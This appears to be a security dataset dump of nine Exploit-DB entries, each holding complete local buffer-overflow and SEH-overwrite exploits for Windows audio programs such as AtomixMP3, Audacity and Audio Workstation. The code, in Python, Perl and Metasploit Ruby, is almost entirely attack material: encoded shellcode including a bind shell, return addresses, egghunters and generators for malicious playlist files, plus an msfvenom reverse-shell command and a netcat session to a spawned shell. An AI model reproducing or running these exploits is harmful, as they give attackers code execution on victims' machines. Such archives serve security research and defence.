deardaniel/secdata-raw huggingface dataset:
Exploit-DB #8312
Description: AtomixMP3 < 2.3 - 'Playlist' Universal Overwrite (SEH)
Type: local
Platform: windows
Date: 2009-03-30
Author: His0k4

Exploit:
#usage: exploit.py
# [+] Bug: AtomixMP3 <= 2.3 (playlist) Universal Seh Overwrite Exploit
# [+] Exploit by : His0k4
# [+] Software download : http://download.atomixmp3.com/atomixmp3_trial.exe
# [+] Greetings : All friends & muslims HackErS (DZ), secdz.com

# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
shellcode = (
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34"
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x34\x4e\x43\x4b\x48\x4e\x47"
"\x45\x30\x4a\x47\x41\x50\x4f\x4e\x4b\x48\x4f\x44\x4a\x41\x4b\x48"
"\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x58\x46\x43\x4b\x38"
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c"
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x43\x46\x55\x46\x32\x46\x30\x45\x47\x45\x4e\x4b\x48"
"\x4f\x35\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x58\x4e\x30\x4b\x44"
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x48"
"\x41\x50\x4b\x4e\x49\x58\x4e\x55\x46\x42\x46\x30\x43\x4c\x41\x33"
"\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x53\x45\x48\x42\x4c\x4a\x37"
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x58\x42\x57\x4e\x51\x4d\x4a"
"\x4b\x38\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x48\x42\x48\x42\x4b"
"\x42\x50\x42\x50\x42\x50\x4b\x48\x4a\x56\x4e\x33\x4f\x35\x41\x53"
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x57"
"\x42\x35\x4a\x46\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x36\x4a\x59"
"\x50\x4f\x4c\x38\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x36\x41\x56"
"\x4e\x56\x43\x46\x42\x30\x5a")

payload =  "\x41"*740
payload += "\xEB\x06\x90\x90"
payload += "\x52\x1E\xCD\x01" #univ
payload += "\x90"*19
payload +=  shellcode

try:
    out_file = open("exploit.m3u",'w')
    out_file.write(payload)
    out_file.close()
    raw_input("\nExploit file created!\n")
except:
    print "Error"

# milw0rm.com [2009-03-30]
Exploit-DB #10322
Description: Audacity 1.2.6 - '.gro' Local Buffer Overflow
Type: local
Platform: windows
Date: 2009-12-05
Author: Encrypt3d.M!nd

Exploit:
#exploit.py
# Audacity 1.2.6 (gro File) Buffer overflow Exploit
# By: Encrypt3d.M!nd
#     http://m1nd3d.wordpress.com/
#####################################################
# i know this exploit already been posted, but the author
# used an address as an universal,well,it's universal but
# it can't be called to jump.because it cause privileged_
# exception,so you can just use it.
#
# Tested on: Windows xp sp3
#

chars = "\x44" * 174
ns= "\xeb\x08\x90\x90"
sh= "\xbe\x2e\xd1\x72" # Windows xp sp3 - msacm32.drv

nops= "\x90"* 20

eggh= "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8\x69\x72\x61\x71\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"

shellcode= "\x69\x72\x61\x71\x69\x72\x61\x71"

shellcode+= (
"\x89\xe6\xd9\xc7\xd9\x76\xf4\x59\x49\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41"
"\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42"
"\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x4b"
"\x4c\x4a\x48\x4c\x49\x43\x30\x43\x30\x45\x50\x45\x30\x4b\x39"
"\x4a\x45\x46\x51\x4e\x32\x51\x74\x4c\x4b\x46\x32\x44\x70\x4c"
"\x4b\x42\x72\x44\x4c\x4e\x6b\x43\x62\x42\x34\x4e\x6b\x51\x62"
"\x47\x58\x44\x4f\x48\x37\x51\x5a\x45\x76\x46\x51\x49\x6f\x45"
"\x61\x4f\x30\x4e\x4c\x47\x4c\x51\x71\x51\x6c\x45\x52\x46\x4c"
"\x47\x50\x4f\x31\x4a\x6f\x44\x4d\x45\x51\x4f\x37\x4d\x32\x48"
"\x70\x42\x72\x46\x37\x4c\x4b\x46\x32\x42\x30\x4e\x6b\x50\x42"
"\x45\x6c\x47\x71\x4e\x30\x4e\x6b\x51\x50\x51\x68\x4c\x45\x4f"
"\x30\x44\x34\x51\x5a\x46\x61\x48\x50\x42\x70\x4c\x4b\x50\x48"
"\x42\x38\x4c\x4b\x50\x58\x51\x30\x46\x61\x4e\x33\x4d\x33\x47"
"\x4c\x43\x79\x4c\x4b\x50\x34\x4c\x4b\x46\x61\x4a\x76\x46\x51"
"\x49\x6f\x44\x71\x49\x50\x4c\x6c\x4b\x71\x4a\x6f\x46\x6d\x47"
"\x71\x4f\x37\x46\x58\x4b\x50\x43\x45\x4a\x54\x43\x33\x43\x4d"
"\x4b\x48\x47\x4b\x43\x4d\x51\x34\x43\x45\x4b\x52\x42\x78\x4c"
"\x4b\x46\x38\x45\x74\x46\x61\x4a\x73\x45\x36\x4c\x4b\x46\x6c"
"\x50\x4b\x4e\x6b\x43\x68\x45\x4c\x46\x61\x4e\x33\x4c\x4b\x46"
"\x64\x4e\x6b\x43\x31\x4e\x30\x4e\x69\x51\x54\x46\x44\x51\x34"
"\x51\x4b\x51\x4b\x43\x51\x51\x49\x51\x4a\x50\x51\x49\x6f\x49"
"\x70\x51\x48\x51\x4f\x43\x6a\x4c\x4b\x42\x32\x4a\x4b\x4f\x76"
"\x43\x6d\x50\x6a\x47\x71\x4e\x6d\x4d\x55\x4e\x59\x47\x70\x43"
"\x30\x45\x50\x46\x30\x42\x48\x44\x71\x4e\x6b\x42\x4f\x4f\x77"
"\x4b\x4f\x4a\x75\x4d\x6b\x4d\x30\x45\x4d\x46\x4a\x44\x4a\x42"
"\x48\x49\x36\x4c\x55\x4d\x6d\x4d\x4d\x49\x6f\x4e\x35\x45\x6c"
"\x45\x56\x51\x6c\x44\x4a\x4b\x30\x4b\x4b\x4b\x50\x51\x65\x44"
"\x45\x4d\x6b\x50\x47\x44\x53\x42\x52\x50\x6f\x42\x4a\x43\x30"
"\x46\x33\x4b\x4f\x4a\x75\x42\x43\x50\x61\x50\x6c\x42\x43\x43"
"\x30\x41\x41")


file = open('Devil.gro','w')
file.write(chars+ns+sh+nops+eggh+chars+shellcode)
file.close()
Exploit-DB #50811
Description: Audio Conversion Wizard v2.01 - Buffer Overflow
Type: local
Platform: windows
Date: 2022-03-09
Author: Hejap Zairy Al-Sharif

Exploit:
# Exploit Title: Audio Conversion Wizard v2.01 - Buffer Overflow 
# Exploit Author: Hejap Zairy
# Date: 03.07.2022
# Software Link:   https://www.litexmedia.com/acwizard.exe
# Tested Version: v2.01
# Tested on: Windows 10 64bit

# 1.- Run python code : 0day-Hejap_Zairy.py
# 2.- Open 0day_Hejap.txt and copy All content to Clipboard
# 3.- Open Audio Conversion Wizard and press Enter Code
# 4.- Paste the Content of 0day_Hejap.txt into the 'Enter Code'
# 5.- Click 'OK'

# Author  Code By Hejap Zairy
#!/usr/bin/env python

from pwn import *

buffer = "\x41" * 1016 
push_esp  =  p32(0x1004dbff) #push esp ret ret from  id3lib.dll
nops =  "\x90" * 15#515 tshhh theardlooo love Malware 
#msfvenom   --arch x64  windows/x64/shell_reverse_tcp  lhost=ip lport=443      -f python -e x64/shikata_ga_nai  -b "\x00\x0a\x0d\x20"  
#msfvenom  --arch x64  -p windows/x64/messagebox   TEXT="0day Hejap Zairy"  -f python -e x64/shikata_ga_nai  EXITFUNC=thread -b "\x00\x0a\x0d\x20"
buf =  b""
buf += b"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00"
buf += b"\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b"
buf += b"\x52\x60\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e"
buf += b"\x48\x8b\x72\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
buf += b"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9"
buf += b"\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x3e\x48\x8b\x52"
buf += b"\x20\x3e\x8b\x42\x3c\x48\x01\xd0\x3e\x8b\x80\x88\x00"
buf += b"\x00\x00\x48\x85\xc0\x74\x6f\x48\x01\xd0\x50\x3e\x8b"
buf += b"\x48\x18\x3e\x44\x8b\x40\x20\x49\x01\xd0\xe3\x5c\x48"
buf += b"\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9"
buf += b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0"
buf += b"\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd6"
buf += b"\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41\x8b"
buf += b"\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
buf += b"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41"
buf += b"\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0"
buf += b"\x58\x41\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff"
buf += b"\x5d\x49\xc7\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a"
buf += b"\x01\x00\x00\x3e\x4c\x8d\x85\x2b\x01\x00\x00\x48\x31"
buf += b"\xc9\x41\xba\x45\x83\x56\x07\xff\xd5\xbb\xe0\x1d\x2a"
buf += b"\x0a\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28"
buf += b"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72"
buf += b"\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x30\x64\x61\x79"
buf += b"\x20\x48\x65\x6a\x61\x70\x20\x5a\x61\x69\x72\x79\x00"
buf += b"\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x00"
padding ="C" * (len(buffer) - len(push_esp) - len(nops))
payload = buffer  + push_esp + nops + buf + padding
try:
    with open("0day_Hejap.txt","wb") as f:
        print("[+] Creating %s Shellcode 0day-Hejap payload.." %len(payload))
        f.write(payload)
        f.close()
        print("[+] File created!")
except:
    print("[-]File cannot be created")
Exploit-DB #13760
Description: Audio Converter 8.1 - Local Stack Buffer Overflow
Type: local
Platform: windows
Date: 2010-06-07
Author: sud0

Exploit:
#***********************************************************************************
# Exploit Title : Audio Converter 8.1 0day Stack Buffer Overflow PoC exploit
# Date          : 16/05/2010
# Author        : Sud0
# Bug found by  : chap0
# Software Link : http://download.cnet.com/Audio-Converter/3000-2140_4-10045287.html
# Version       : 8.1
# OS            : Windows
# Tested on     : XP SP3 En (VirtualBox)
# Type of vuln  : SEH
# Thanks to my wife for her support
# Thanks for chap0 for bringing us the game
# Greetz to: Corelan Security Team
# http://www.corelan.be:8800/index.php/security/corelan-team-members/
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Script provided 'as is', without any warranty.
# Use for educational purposes only.
# Do not use this code to do anything illegal !
# Corelan does not want anyone to use this script
# for malicious and/or illegal purposes
# Corelan cannot be held responsible for any illegal use.
#
# Note : you are not allowed to edit/modify this code. 
# If you do, Corelan cannot be held responsible for any damages this may cause.
#***********************************************************************************
#code :
print "|------------------------------------------------------------------|\n";
print "|                         __               __                      |\n";
print "|   _________  ________  / /___ _____     / /____  ____ _____ ___  |\n";
print "|  / ___/ __ \\/ ___/ _ \\/ / __ `/ __ \\   / __/ _ \\/ __ `/ __ `__ \\ |\n";
print "| / /__/ /_/ / /  /  __/ / /_/ / / / /  / /_/  __/ /_/ / / / / / / |\n";
print "| \\___/\\____/_/   \\___/_/\\__,_/_/ /_/   \\__/\\___/\\__,_/_/ /_/ /_/  |\n";
print "|                                                                  |\n";
print "|                                       http://www.corelan.be:8800 |\n";
print "|                                                                  |\n";
print "|-------------------------------------------------[ EIP Hunters ]--|\n\n";
print "[+] Exploit for .... \n";

import socket
#shellcode running calc.exe alpha2 encoded basereg edx
shell="JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIlKXlpUnkxlqx7P7PQ0fOrHpcparLQsLMaUzXPPNXKwOcxBCGKOZpA"  
junk="B" * (4432 - len(shell))  #seh overwritten after 4432 bytes
nseh= "\xEB\x06\xEB\x06" # jmp forward 
seh= "\xF1\x8E\x03\x10" # nice ppr from audioconv
align="\x61\x61\x61\xff\xE2" # popad / popad / popad / jmp edx
buffer= shell + junk + nseh + seh + "\x90" * 20 + align  + "A"* 10000#  added some nops after seh
 
mefile = open('poc.pls','w');
mefile.write(buffer);
mefile.close()
Exploit-DB #10359
Description: Audio Workstation 6.4.2.4.0 - '.pls' Universal Local Buffer Overflow
Type: local
Platform: windows
Date: 2009-12-09
Author: mr_me

Exploit:
#!/usr/bin/python
##########################################################
#
# Audio Workstation v6.4.2.4.0 (.pls) Universal Local BoF Exploit 
# Credits:  germaya_x
# Coded by: mr_me
# Tested on Windows XP SP3 
# Note: ** For educational purposes only **
# 
###########################################################
#
# mrme@home:~$ nc -v 192.168.0.6 4444
# 192.168.0.6: inverse host lookup failed: Unknown server error : 
# Connection timed out
# (UNKNOWN) [192.168.0.6] 4444 (?) open
# Microsoft Windows XP [Version 5.1.2600]
# (C) Copyright 1985-2001 Microsoft Corp.
#
# C:\Program Files\Audio Workstation>
#
# Note: There is no need to restrict this exploit 
# to XP sp2 as AudioWorkstation.exe contains
# jmp esp addresses that works on XP sp3.
# The addresses that I found using msfpescan:
#
# 0x0105a9b1 jmp esp
# 0x010d1c9a jmp esp
# 0x010f0215 jmp esp
# 0x010f54aa jmp esp
# 0x01102e7e jmp esp

# windows/shell_bind_tcp - 368 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=thread, LPORT=4444, RHOST=

sc =("\x29\xc9\xb8\x47\xff\xe4\x4f\xb1\x56\xdd\xc3\xd9\x74\x24"
"\xf4\x5b\x31\x43\x0f\x03\x43\x0f\x83\xc3\x43\x1d\x11\xb3"
"\xa3\x68\xda\x4c\x33\x0b\x52\xa9\x02\x19\x00\xb9\x36\xad"
"\x42\xef\xba\x46\x06\x04\x49\x2a\x8f\x2b\xfa\x81\xe9\x02"
"\xfb\x27\x36\xc8\x3f\x29\xca\x13\x13\x89\xf3\xdb\x66\xc8"
"\x34\x01\x88\x98\xed\x4d\x3a\x0d\x99\x10\x86\x2c\x4d\x1f"
"\xb6\x56\xe8\xe0\x42\xed\xf3\x30\xfa\x7a\xbb\xa8\x71\x24"
"\x1c\xc8\x56\x36\x60\x83\xd3\x8d\x12\x12\x35\xdc\xdb\x24"
"\x79\xb3\xe5\x88\x74\xcd\x22\x2e\x66\xb8\x58\x4c\x1b\xbb"
"\x9a\x2e\xc7\x4e\x3f\x88\x8c\xe9\x9b\x28\x41\x6f\x6f\x26"
"\x2e\xfb\x37\x2b\xb1\x28\x4c\x57\x3a\xcf\x83\xd1\x78\xf4"
"\x07\xb9\xdb\x95\x1e\x67\x8a\xaa\x41\xcf\x73\x0f\x09\xe2"
"\x60\x29\x50\x6b\x45\x04\x6b\x6b\xc1\x1f\x18\x59\x4e\xb4"
"\xb6\xd1\x07\x12\x40\x15\x32\xe2\xde\xe8\xbc\x13\xf6\x2e"
"\xe8\x43\x60\x86\x90\x0f\x70\x27\x45\x9f\x20\x87\x35\x60"
"\x91\x67\xe5\x08\xfb\x67\xda\x29\x04\xa2\x6d\x6e\xca\x96"
"\x3e\x19\x2f\x29\xd1\x85\xa6\xcf\xbb\x25\xef\x58\x53\x84"
"\xd4\x50\xc4\xf7\x3e\xcd\x5d\x60\x76\x1b\x59\x8f\x87\x09"
"\xca\x3c\x2f\xda\x98\x2e\xf4\xfb\x9f\x7a\x5c\x75\x98\xed"
"\x16\xeb\x6b\x8f\x27\x26\x1b\x2c\xb5\xad\xdb\x3b\xa6\x79"
"\x8c\x6c\x18\x70\x58\x81\x03\x2a\x7e\x58\xd5\x15\x3a\x87"
"\x26\x9b\xc3\x4a\x12\xbf\xd3\x92\x9b\xfb\x87\x4a\xca\x55"
"\x71\x2d\xa4\x17\x2b\xe7\x1b\xfe\xbb\x7e\x50\xc1\xbd\x7e"
"\xbd\xb7\x21\xce\x68\x8e\x5e\xff\xfc\x06\x27\x1d\x9d\xe9"
"\xf2\xa5\xbd\x0b\xd6\xd3\x55\x92\xb3\x59\x38\x25\x6e\x9d"
"\x45\xa6\x9a\x5e\xb2\xb6\xef\x5b\xfe\x70\x1c\x16\x6f\x15"
"\x22\x85\x90\x3c")

buff = '\x41' * 1324					# offset
buff += '\xb1\xa9\x05\x01' 				# jmp esp
buff += '\x90' * 10			    		# nops
buff += sc				        		# shellcode
buff += '\xcc' * (4000-1338-len(sc))	# finish buffer

exploitme = open('AudioWorkstation.pls','w')
exploitme.write(buff)
exploitme.close()
print "[+] Created exploit file ;)"
Exploit-DB #10363
Description: Audio Workstation 6.4.2.4.3 - '.pls' Local Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2009-12-09
Author: dookie

Exploit:
##
# $Id: audio_wkstn_pls.rb 10477 2010-09-25 11:59:02Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Audio Workstation 6.4.2.4.3 pls Buffer Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow in Audio Workstation 6.4.2.4.3.
				When opening a malicious pls file with the Audio Workstation,
				a remote attacker could overflow a buffer and execute
				arbitrary code.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'germaya_x', 'dookie', ],
			'Version'        => '$Revision: 10477 $',
			'References'     =>
				[
					[ 'CVE', '2009-0476' ],
					[ 'OSVDB', '55424' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/10353' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'seh',
					'DisablePayloadHandler' => 'true',
				},
			'Payload'        =>
				{
					'Space'    => 4100,
					'BadChars' => "\x00",
					'StackAdjustment' => -3500,
					'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
					'DisableNops'   =>  'True',
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					[ 'Windows Universal', { 'Ret' => 0x1101031E } ], # p/p/r in bass.dll
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Dec 08 2009',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [ true, 'The file name.',  'msf.pls']),
			], self.class)

	end

	def exploit

		sploit = rand_text_alpha_upper(1308)
		sploit << "\xeb\x16\x90\x90"
		sploit << [target.ret].pack('V')
		sploit << make_nops(32)
		sploit << payload.encoded
		sploit << rand_text_alpha_upper(4652 - payload.encoded.length)

		print_status("Creating '#{datastore['FILENAME']}' file ...")
		file_create(sploit)

	end

end
Exploit-DB #8698
Description: Audioactive Player 1.93b - '.m3u' Local Buffer Overflow
Type: local
Platform: windows
Date: 2009-05-15
Author: hack4love

Exploit:
#!/usr/bin/perl
# by hack4love
# hack4love@hotmail.com
# Audioactive player v1.93b (.m3u) Local buffer Overflow Exploit
# Greetz to all my friends
# From EGYPT
##################################################################
my $bof="\x41" x 224;
my $ret="\xed\x1e\x94\x7c"; # JMP ESP ntdll.dll
my $nop="\x90" x 24;
##################################################################
# win32_exec - EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
my $shellcode =
"\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x26".
"\xac\xdf\x53\x83\xeb\xfc\xe2\xf4\xda\x44\x9b\x53\x26\xac\x54\x16".
"\x1a\x27\xa3\x56\x5e\xad\x30\xd8\x69\xb4\x54\x0c\x06\xad\x34\x1a".
"\xad\x98\x54\x52\xc8\x9d\x1f\xca\x8a\x28\x1f\x27\x21\x6d\x15\x5e".
"\x27\x6e\x34\xa7\x1d\xf8\xfb\x57\x53\x49\x54\x0c\x02\xad\x34\x35".
"\xad\xa0\x94\xd8\x79\xb0\xde\xb8\xad\xb0\x54\x52\xcd\x25\x83\x77".
"\x22\x6f\xee\x93\x42\x27\x9f\x63\xa3\x6c\xa7\x5f\xad\xec\xd3\xd8".
"\x56\xb0\x72\xd8\x4e\xa4\x34\x5a\xad\x2c\x6f\x53\x26\xac\x54\x3b".
"\x1a\xf3\xee\xa5\x46\xfa\x56\xab\xa5\x6c\xa4\x03\x4e\x5c\x55\x57".
"\x79\xc4\x47\xad\xac\xa2\x88\xac\xc1\xcf\xbe\x3f\x45\xac\xdf\x53";
##################################################################
open(myfile,'>>hack4love.m3u');
print myfile $bof.$ret.$nop.$shellcode;
# Tested on: Windows XP Pro SP2 (EN)
##################################################################

# milw0rm.com [2009-05-15]
Exploit-DB #8701
Description: Audioactive Player 1.93b - '.m3u' Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2009-05-15
Author: His0k4

Exploit:
#usage: exploit.py
#Open the program then double clic in the exploit file
print "**************************************************************************"
print " Audioactive Player 1.93b (.m3u) Local Buffer Overflow Exploit (SEH)\n"
print " Credits : hack4love\n"
print " Seh Exploit: His0k4\n"
print " Tested on: Windows XP Pro SP3 (EN)\n"
print " Greetings to:"
print " All friends & muslims HaCkers(dz),snakespc.com\n"
print "**************************************************************************"       
			
# win32_exec -  EXITFUNC=seh CMD=calc Size=165 Encoder=JmpCallAdditive http://metasploit.com
shellcode=(
"\xfc\xbb\x5d\x53\x65\x97\xeb\x0c\x5e\x56\x31\x1e\xad\x01\xc3\x85"
"\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\xa1\xbb\x21\x97\x59\x3c\x21"
"\xd2\x65\xb7\x49\xd8\xed\xc6\x5e\x69\x42\xd1\x2b\x31\x7c\xe0\xc0"
"\x87\xf7\xd6\x9d\x19\xe9\x26\x62\x80\x59\xcc\xa2\xc7\xa6\x0c\xe8"
"\x25\xa9\x4c\x06\xc1\x92\x04\xfd\x2e\x91\x41\x76\x71\x7d\x8b\x62"
"\xe8\xf6\x87\x3f\x7e\x57\x84\xbe\x6b\xec\xa8\x4b\x6a\x19\x59\x17"
"\x49\xd9\x99\x99\x51\x85\x96\x9a\x61\xc0\x69\x62\x8e\x41\x29\x9f"
"\x05\x25\xb6\x32\x92\xad\xce\xa7\xac\xa6\x4f\x87\xaf\xb8\x4f\x63"
"\xc7\x84\x10\x42\xee\x94\xf8\x2d\xf6\xd7\xc5\x55\x57\xbf\x35\x23"
"\x53\x60\xde\xac\xa2\x14\x10\x9a\xa5\xcf\x4e\x45\x36\x6c\x91\x85"
"\xc6\x72\x91\x85\xc6")

payload = "\x41"*(589-len(shellcode))
payload += shellcode
payload += "\xE9\x56\xFF\xFF\xFF" # go back
payload += "\x74\xF9\xFF\xFF" #go back
payload += "\xDE\x19\xD1\x72" # Friendly p/p/r msacm32.drv
payload += "\x44"*900

try:
    out_file = open("exploit.m3u",'w')
    out_file.write("http://www.google.com/"+payload+".mp3\r\n")
    out_file.close()
    raw_input("\nExploit file created!\n")
except:
    print "Error"

# milw0rm.com [2009-05-15]
Exploit-DB #26523
Description: AudioCoder (.lst) - Local Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2013-07-01
Author: Asesino04

Exploit:
require 'msf/core'
  
class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
  
  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Seh
  
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'AudioCoder .lst Buffer Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow in Audio Code 0.8.18. The vulnerability
        occurs when adding an .lst, allowing arbitrary code execution with the privileges
        of the user running AudioCoder. This module has been tested successfully on
        AudioCoder 0.8.22 over Windows XP SP3 and Windows 7 SP1.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'onying', # Vulnerability discovery and PoC
          'Asesino04' # Metasploit module
        ],
      'References'     =>
        [
          [ 'OSVDB', 'N/A' ],
          [ 'EDB', '26448' ]
        ],
      'DefaultOptions'  =>
        {
          'EXITFUNC' => 'process'
        },
      'Platform'       => 'win',
      'Payload'        =>
        {
          'Space'           => 6596,
          'BadChars'        => "\x00\x5c\x40\x0d\x0a",
          'DisableNops'     => true,
          'StackAdjustment' => -3500,
        },
      'Targets'        =>
        [
          [ 'AudioCoder 0.8.22 / Windows XP SP3 / Windows 7 SP1',
            {
              'Ret'     => 0x66011b56, # libiconv-2.dll
              'Offset'  => 765
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'juin 01 2013',
      'DefaultTarget'  => 0))
  
    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.', 'msf.lst']),
      ], self.class)
  
  end
  
  def exploit
    buffer = "http://"
    buffer << rand_text(target['Offset'])
    buffer << generate_seh_record(target.ret)
    buffer << payload.encoded
  
    file_create(buffer)
  end
end